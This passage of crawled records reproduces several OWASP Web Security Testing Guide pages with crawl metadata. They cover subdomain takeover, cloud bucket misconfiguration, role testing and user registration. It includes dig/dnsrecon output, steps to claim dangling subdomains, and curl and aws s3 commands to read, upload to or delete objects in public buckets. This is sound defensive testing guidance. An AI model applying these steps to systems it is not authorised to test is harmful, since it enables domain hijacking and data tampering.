"WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test for Subdomain Takeover"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "GitHub"}, {"uroven": 3, "text": "Expired Domain"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing DNS A, CNAME Record Subdomain Takeover"}, {"uroven": 4, "text": "Testing NS Record Subdomain Takeover"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test for Subdomain Takeover\n\n| ID |\n| --- |\n| WSTG-CONF-10 |\n\n## Summary\n\nA successful exploitation of this kind of vulnerability allows an adversary to claim and take control of the victim’s subdomain. This attack relies on the following:\n\n1. The victim’s external DNS server subdomain record is configured to point to a non-existing or non-active resource/external service/endpoint. The proliferation of XaaS (Anything as a Service) products and public cloud services offer a lot of potential targets to consider.\n2. The service provider hosting the resource/external service/endpoint does not handle subdomain ownership verification properly.\n\nIf the subdomain takeover is successful a wide variety of attacks are possible (serving malicious content, phising, stealing user session cookies, credentials, etc.). This vulnerability could be exploited for a wide variety of DNS resource records including: `A`, `CNAME`, `MX`, `NS`, `TXT` etc. In terms of the attack severity an `NS` subdomain takeover (although less likely) has the highest impact because a successful attack could result in full control over the whole DNS zone and the victim’s domain.\n\n### GitHub\n\n1. The victim (victim.com) uses GitHub for development and configured a DNS record ( `coderepo.victim.com` ) to access it.\n2. The victim decides to migrate their code repository from GitHub to a commercial platform and does not remove `coderepo.victim.com` from their DNS server.\n3. An adversary finds out that `coderepo.victim.com` is hosted on GitHub and uses GitHub Pages to claim `coderepo.victim.com` using their GitHub account.\n\n### Expired Domain\n\n1. The victim (victim.com) owns another domain (victimotherdomain.com) and uses a CNAME record (www) to reference the other domain ( `www.victim.com` –> `victimotherdomain.com` )\n2. At some point, victimotherdomain.com expires and is available for registration by anyone. Since the CNAME record is not deleted from the victim.com DNS zone, anyone who registers `victimotherdomain.com` has full control over `www.victim.com` until the DNS record is present.\n\n## Test Objectives\n\n- Enumerate all possible domains (previous and current).\n- Identify forgotten or misconfigured domains.\n\n## How to Test\n\n### Black-Box Testing\n\nThe first step is to enumerate the victim DNS servers and resource records. There are multiple ways to accomplish this task, for example DNS enumeration using a list of common subdomains dictionary, DNS brute force or using web search engines and other OSINT data sources.\n\nUsing the dig command the tester looks for the following DNS server response messages that warrant further investigation:\n\n- `NXDOMAIN`\n- `SERVFAIL`\n- `REFUSED`\n- `no servers could be reached.`\n\n#### Testing DNS A, CNAME Record Subdomain Takeover\n\nPerform a basic DNS enumeration on the victim’s domain (`victim.com`) using `dnsrecon`:\n\n```\n$ ./dnsrecon.py -d victim.com\n[*] Performing General Enumeration of Domain: victim.com\n...\n[-] DNSSEC is not configured for victim.com\n[*] A subdomain.victim.com 192.30.252.153\n[*] CNAME subdomain1.victim.com fictioussubdomain.victim.com\n...\n```\n\nIdentify which DNS resource records are dead and point to inactive/not-used services. Using the dig command for the `CNAME` record:\n\n```\n$ dig CNAME fictioussubdomain.victim.com\n; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns victim.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 42950\n;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1\n```\n\nThe following DNS responses warrant further investigation: `NXDOMAIN`.\n\nTo test the `A` record the tester performs a whois database lookup and identifies GitHub as the service provider:\n\n```\n$ whois 192.30.252.153 | grep \"OrgName\"\nOrgName: GitHub, Inc.\n```\n\nThe tester visits `subdomain.victim.com` or issues a HTTP GET request which returns a “404 - File not found” response which is a clear indication of the vulnerability.\n\n*Figure 4.2.10-1: GitHub 404 File Not Found response*\n\nThe tester claims the domain using GitHub Pages:\n\n*Figure 4.2.10-2: GitHub claim domain*\n\n#### Testing NS Record Subdomain Takeover\n\nIdentify all nameservers for the domain in scope:\n\n```\n$ dig ns victim.com +short\nns1.victim.com\nnameserver.expireddomain.com\n```\n\nIn this fictious example the tester checks if the domain `expireddomain.com` is active with a domain registrar search. If the domain is available for purchase the subdomain is vulnerable.\n\nThe following DNS responses warrant further investigation: `SERVFAIL` or `REFUSED`.\n\n### Gray-Box Testing\n\nThe tester has the DNS zone file available which means DNS enumeration is not necessary. The testing methodology is the same.\n\n## Remediation\n\nTo mitigate the risk of subdomain takeover the vulnerable DNS resource record(s) should be removed from the DNS zone. Continous monitoring and periodic checks are recommended as best practice.\n\n## Tools\n\n- [dig - man page](https://linux.die.net/man/1/dig)\n- [recon-ng - Web Reconnaissance framework](https://github.com/lanmaster53/recon-ng)\n- [theHarvester - OSINT intelligence gathering tool](https://github.com/laramies/theHarvester)\n- [Sublist3r - OSINT subdomain enumeration tool](https://github.com/aboul3la/Sublist3r)\n- [dnsrecon - DNS Enumeration Script](https://github.com/darkoperator/dnsrecon)\n- [OWASP Amass DNS enumeration](https://github.com/OWASP/Amass)\n\n## References\n\n- [HackerOne - A Guide To Subdomain Takeovers](https://www.hackerone.com/blog/Guide-Subdomain-Takeovers)\n- [Subdomain Takeover: Basics](https://0xpatrik.com/subdomain-takeover-basics/)\n- [Subdomain Takeover: Going beyond CNAME](https://0xpatrik.com/subdomain-takeover-ns/)\n- [OWASP AppSec Europe 2017 - Frans Rosén: DNS hijacking using cloud providers – no verification needed](https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5845, "slov": 783, "odkazu": 188, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:08", "sha256": "7c0384ae324f70085b89fdd7626b02303d4f2df5e3f8953b60f31ed7be9629a0", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://linux.die.net/man/1/dig", "https://github.com/lanmaster53/recon-ng", "https://github.com/laramies/theHarvester", "https://github.com/aboul3la/Sublist3r", "https://github.com/darkoperator/dnsrecon", "https://github.com/OWASP/Amass", "https://www.hackerone.com/blog/Guide-Subdomain-Takeovers", "https://0xpatrik.com/subdomain-takeover-basics/", "https://0xpatrik.com/subdomain-takeover-ns/", "https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test Cloud Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Amazon S3 Bucket Misconfiguration"}, {"uroven": 4, "text": "Identify Bucket URL"}, {"uroven": 4, "text": "Testing with AWS-CLI"}, {"uroven": 5, "text": "List"}, {"uroven": 5, "text": "Upload"}, {"uroven": 5, "text": "Remove"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test Cloud Storage\n\n| ID |\n| --- |\n| WSTG-CONF-11 |\n\n## Summary\n\nCloud storage services facilitate web application and services to store and access objects in the storage service. Improper access control configuration, however, may result in sensitive information exposure, data being tampered, or unauthorized access.\n\nA known example is where an Amazon S3 bucket is misconfigured, although the other cloud storage services may also be exposed to similar risks. By default, all S3 buckets are private and can be accessed only by users that are explicitly granted access. Users can grant public access to both the bucket itself and to individual objects stored within that bucket. This may lead to an unauthorized user being able to upload new files, modify or read stored files.\n\n## Test Objectives\n\n- Assess that the access control configuration for the storage services is properly in place.\n\n## How to Test\n\nFirst identify the URL to access the data in the storage service, and then consider the following tests:\n\n- read the unauthorized data\n- upload a new arbitrary file\n\nYou may use curl for the tests with the following commands and see if unauthorized actions can be performed successfully.\n\nTo test the ability to read an object:\n\n```\ncurl -X GET https:///\n```\n\nTo test the ability to upload a file:\n\n```\ncurl -X PUT -d 'test' 'https:///test.txt' \n```\n\n### Testing for Amazon S3 Bucket Misconfiguration\n\nThe Amazon S3 bucket URLs follow one of two formats, either virtual host style or path-style.\n\n- Virtual Hosted Style Access\n\n```\nhttps://bucket-name.s3.Region.amazonaws.com/key-name\n```\n\nIn the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n```\nhttps://my-bucket.s3.us-west-2.amazonaws.com/puppy.png\n```\n\n- Path-Style Access\n\n```\nhttps://s3.Region.amazonaws.com/bucket-name/key-name\n```\n\nAs above, in the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n```\nhttps://s3.us-west-2.amazonaws.com/my-bucket/puppy.jpg\n```\n\nFor some regions, the legacy global endpoint that does not specify a region-specific endpoint can be used. Its format is also either virtual hosted style or path-style.\n\n- Virtual Hosted Style Access\n\n```\nhttps://bucket-name.s3.amazonaws.com\n```\n\n- Path-Style Access\n\n```\nhttps://s3.amazonaws.com/bucket-name\n```\n\n#### Identify Bucket URL\n\nFor black-box testing, S3 URLs can be found in the HTTP messages. The following example shows a bucket URL is sent in the `img` tag in a HTTP response.\n\n```\n...\n\n...\n```\n\nFor gray-box testing, you can obtain bucket URLs from Amazon’s web interface, documents, source code, or any other available sources.\n\n#### Testing with AWS-CLI\n\nIn addition to testing with curl, you can also test with the AWS Command-line tool. In this case `s3://` protocol is used.\n\n##### List\n\nThe following command lists all the objects of the bucket when it is configured public.\n\n```\naws s3 ls s3://\n```\n\n##### Upload\n\nThe following is the command to upload a file\n\n```\naws s3 cp arbitrary-file s3://bucket-name/path-to-save\n```\n\nThis example shows the result when the upload has been successful.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload: ./test.txt to s3://bucket-name/test.txt\n```\n\nThis example shows the result when the upload has failed.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload failed: ./test2.txt to s3://bucket-name/test2.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied\n```\n\n##### Remove\n\nThe following is the command to remove an object\n\n```\naws s3 rm s3://bucket-name/object-to-remove\n```\n\n## Tools\n\n- [AWS CLI](https://aws.amazon.com/cli/)\n\n## References\n\n- [Working with Amazon S3 Buckets](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html)\n- [flAWS 2](http://flaws2.cloud)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3908, "slov": 566, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:09", "sha256": "d2579552e77448d18610a4e3e2d1e7d17f6d5deea10566a598e546b87c16964d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://aws.amazon.com/cli/", "https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html", "http://flaws2.cloud/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "02-Configuration and Deployment Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.2 Configuration and Deployment Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.2 Configuration and Deployment Management Testing\n\n4.2.1 [Test Network Infrastructure Configuration](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration)\n\n4.2.2 [Test Application Platform Configuration](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration)\n\n4.2.3 [Test File Extensions Handling for Sensitive Information](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information)\n\n4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information)\n\n4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces)\n\n4.2.6 [Test HTTP Methods](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods)\n\n4.2.7 [Test HTTP Strict Transport Security](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security)\n\n4.2.8 [Test RIA Cross Domain Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy)\n\n4.2.9 [Test File Permission](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission)\n\n4.2.10 [Test for Subdomain Takeover](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover)\n\n4.2.11 [Test Cloud Storage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2546, "slov": 162, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:58", "sha256": "a23a4c96e78e05086bc5d4dc99d0ab9cb132b8974f7dc1085abad6498014ead3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.3 Identity Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.3 Identity Management Testing\n\n4.3.1 [Test Role Definitions](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions)\n\n4.3.2 [Test User Registration Process](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process)\n\n4.3.3 [Test Account Provisioning Process](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/03-Test_Account_Provisioning_Process)\n\n4.3.4 [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n\n4.3.5 [Testing for Weak or Unenforced Username Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/05-Testing_for_Weak_or_Unenforced_Username_Policy)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1130, "slov": 79, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:57", "sha256": "fa90c711d0d6fa1ef40a49f8125ec5139da7dc36b1ebe1e4e0777e01fd69c3a3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test Role Definitions"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Roles Identification"}, {"uroven": 3, "text": "Switching to Available Roles"}, {"uroven": 3, "text": "Review Roles Permissions"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test Role Definitions\n\n| ID |\n| --- |\n| WSTG-IDNT-01 |\n\n## Summary\n\nApplications have several types of functionalities and services, and those require access permissions based on the needs of the user. That user could be:\n\n- an administrator, where they manage the application functionalities.\n- an auditor, where they review the application transactions and provide a detailed report.\n- a support engineer, where they help customers debug and fix issues on their accounts.\n- a customer, where they interact with the application and benefit from its services.\n\nIn order to handle these uses and any other use case for that application, role definitions are setup (more commonly known as [RBAC](https://en.wikipedia.org/wiki/Role-based_access_control)). Based on these roles, the user is capable of accomplishing the required task.\n\n## Test Objectives\n\n- Identify and document roles used by the application.\n- Attempt to switch, change, or access another role.\n- Review the granularity of the roles and the needs behind the permissions given.\n\n## How to Test\n\n### Roles Identification\n\nThe tester should start by identifying the application roles being tested through any of the following methods:\n\n- Application documentation.\n- Guidance by the developers or administrators of the application.\n- Application comments.\n- Fuzz possible roles:\n - cookie variable ( *e.g.* `role=admin` , `isAdmin=True` )\n - account variable ( *e.g.* `Role: manager` )\n - hidden directories or files ( *e.g.* `/admin` , `/mod` , `/backups` )\n - switching to well known users ( *e.g.* `admin` , `backups` , etc.)\n\n### Switching to Available Roles\n\nAfter identifying possible attack vectors, the tester needs to test and validate that they can access the available roles.\n\n> Some applications define the roles of the user on creation, through rigorous checks and policies, or by ensuring that the user’s role is properly protected through a signature created by the backend. Finding that roles exist doesn’t mean that they’re a vulnerability.\n\n### Review Roles Permissions\n\nAfter gaining access to the roles on the system, the tester must understand the permissions provided to each role.\n\nA support engineer shouldn’t be able to conduct administrative functionalities, manage the backups, or conduct any transactions in the place of a user.\n\nAn administrator shouldn’t have full powers on the system. Sensitive admin functionality should leverage a maker-checker principle, or use MFA to ensure that the administrator is conducting the transaction. A clear example on this was the [Twitter incident in 2020](https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html).\n\n## Tools\n\nThe above mentioned tests can be conducted without the use of any tool, except the one being used to access the system.\n\nTo make things easier and more documented, one can use:\n\n- [Burp’s Autorize extension](https://github.com/Quitten/Autorize)\n- [ZAP’s Access Control Testing add-on](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/)\n\n## References\n\n- [Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007](https://www.bookdepository.co.uk/Role-Engineering-for-Enterprise-Security-Management-Edward-Coyne/9781596932180)\n- [Role engineering and RBAC standards](https://csrc.nist.gov/projects/role-based-access-control#rbac-standard)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3367, "slov": 459, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:11", "sha256": "428b749dc762d7619faff65066b6efb1fcfeb9e409b3e273ab4b553ab9c31179", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Role-based_access_control", "https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html", "https://github.com/Quitten/Autorize", "https://www.zaproxy.org/docs/desktop/addons/access-control-testing/", "https://www.bookdepository.co.uk/Role-Engineering-for-Enterprise-Security-Management-Edward-Coyne/9781596932180", "https://csrc.nist.gov/projects/role-based-access-control", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/02-Test_User_Registration_Process", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "03-Identity Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Test User Registration Process"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Test User Registration Process\n\n| ID |\n| --- |\n| WSTG-IDNT-02 |\n\n## Summary\n\nSome websites offer a user registration process that automates (or semi-automates) the provisioning of system access to users. The identity requirements for access vary from positive identification to none at all, depending on the security requirements of the system. Many public applications completely automate the registration and provisioning process because the size of the user base makes it impossible to manage manually. However, many corporate applications will provision users manually, so this test case may not apply.\n\n## Test Objectives\n\n- Verify that the identity requirements for user registration are aligned with business and security requirements.\n- Validate the registration process.\n\n## How to Test\n\nVerify that the identity requirements for user registration are aligned with business and security requirements:\n\n1. Can anyone register for access?\n2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?\n3. Can the same person or identity register multiple times?\n4. Can users register for different roles or permissions?\n5. What proof of identity is required for a registration to be successful?\n6. Are registered identities verified?\n\nValidate the registration process:\n\n1. Can identity information be easily forged or faked?\n2. Can the exchange of identity information be manipulated during registration?\n\n### Example\n\nIn the WordPress example below, the only identification requirement is an email address that is accessible to the registrant.\n\n*Figure 4.3.2-1: WordPress Registration Page*\n\nIn contrast, in the Google example below the identification requirements include name, date of birth, country, mobile phone number, email address and CAPTCHA response. While only two of these can be verified (email address and mobile number), the identification requirements are stricter than WordPress.\n\n*Figure 4.3.2-2: Google Registration Page*\n\n## Remediation\n\nImplement identification and verification requirements that correspond to the security requirements of the information the credentials protect.\n\n## Tools\n\nA HTTP proxy can be a useful tool to test this control.\n\n## References\n\n[User Registration Design](https://mashable.com/2011/06/09/user-registration-design/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2391, "slov": 330, "odkazu": 179, 